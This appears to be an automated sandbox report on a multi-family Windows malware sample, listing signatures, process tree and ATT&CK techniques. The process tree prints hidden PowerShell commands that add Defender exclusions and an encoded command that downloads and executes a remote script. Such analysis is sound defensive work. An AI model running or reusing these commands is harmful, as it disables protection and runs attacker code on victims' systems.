Analysis
- max time kernel
150s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
04/08/2026, 18:12
General
- Target 2026-08-04_c9f30293f0b0cb87112c3e8e99824a76_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe
- Size 18.1MB
- Sample260804-wtly3st1cs
- SHA256 93dd3abdb5a667091e24aa691bbddbd4a6c431b67d088a2f2e36ba3e85f9bfbc
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- UAC bypass 3 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 52 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- System policy modification 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-04_c9f30293f0b0cb87112c3e8e99824a76_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-04_c9f30293f0b0cb87112c3e8e99824a76_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc.exe"1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIABoAHQAdABwAHMAOgAvAC8AcwB0AHIAZQBhAG0ALgBsAG8AYwBhAGwALwBvAG4AYwBvAG4AbgBlAGMAdAAuAHAAcwAxACAAfAAgAGkAZQB4AA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ryzvdk0w.wuc.ps1
memory/2884-10-0x00000193D95B0000-0x00000193D95CE000-memory.dmp
memory/2884-5-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2884-6-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2884-7-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2884-0-0x00007FFEB781F000-0x00007FFEB7820000-memory.dmp
memory/2884-11-0x00000193D9890000-0x00000193D9942000-memory.dmp
memory/2884-12-0x00000193D95A0000-0x00000193D95AA000-memory.dmp
memory/2884-14-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2884-15-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2884-4-0x00000193D9560000-0x00000193D9582000-memory.dmp
memory/2884-1-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp
memory/2884-20-0x00007FFEB7690000-0x00007FFEB8034000-memory.dmp